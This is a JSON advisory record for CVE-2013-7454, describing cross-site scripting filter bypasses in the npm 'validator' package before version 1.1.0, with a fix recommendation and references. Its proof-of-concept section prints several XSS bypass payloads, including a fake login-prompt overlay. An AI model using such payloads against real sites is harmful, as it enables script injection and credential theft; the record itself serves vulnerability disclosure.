{"id":"CVE-2013-7454","aliases":[],"url":"https://o3.security/vulnerability/CVE-2013-7454","summary":"Multiple XSS Filter Bypasses in validator","details":"Versions of `validator` prior to 1.1.0 are affected by several cross-site scripting vulnerabilities due to bypasses discovered in the blacklist-based filter.\n\n\n## Proof of Concept\nVarious inputs that could bypass the filter were discovered:\n\nImproper parsing of nested tags:\n\n```\n<s <onmouseover=\"alert(1)\"> <;s onmouseover=\"alert(1)\">This is a test</s>\n```\n\nIncomplete filtering of javascript: URIs:\n\n```\n<a href=\"javascriptJ a V a S c R iPt::alert(1)\" \"<s>\">test</a>\n```\n\nUI Redressing:\n\n```\n<div style=\"z-index: 9999999; background-color: green; width: 100%; height: 100%\">\n<h1>You have won</h1>Please click the link and enter your login details:\n<a href=\"http://example.com/\">http://good.com</a>\n</div>\n```\n\nBypass via Nested Forbidden Strings:\n\n```\n<scrRedirecRedirect 302t 302ipt type=\"text/javascript\">prompt(1);</scrRedirecRedirect 302t 302ipt>\n```\n\nAdditional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of.\n\n\n## Recommendation\n\nIf you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.","published":"2017-10-24T18:33:36Z","modified":"2023-11-08T03:57:29.547051Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":{"score":0.01857,"percentile":0.77967,"asOf":"2026-09-11"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"validator","fixedVersion":"1.1.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-7454"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q4qq-fm7q-cwp5"},{"type":"WEB","url":"https://nealpoole.com/blog/2013/07/xss-filter-bypass-in-validator-nodejs-module"},{"type":"WEB","url":"https://www.npmjs.com/advisories/41"},{"type":"WEB","url":"http://blog.kotowicz.net/2012/07/codeigniter-210-xssclean-cross-site.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2016/04/20/11"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2023-11-08T03:57:29.547051Z"}}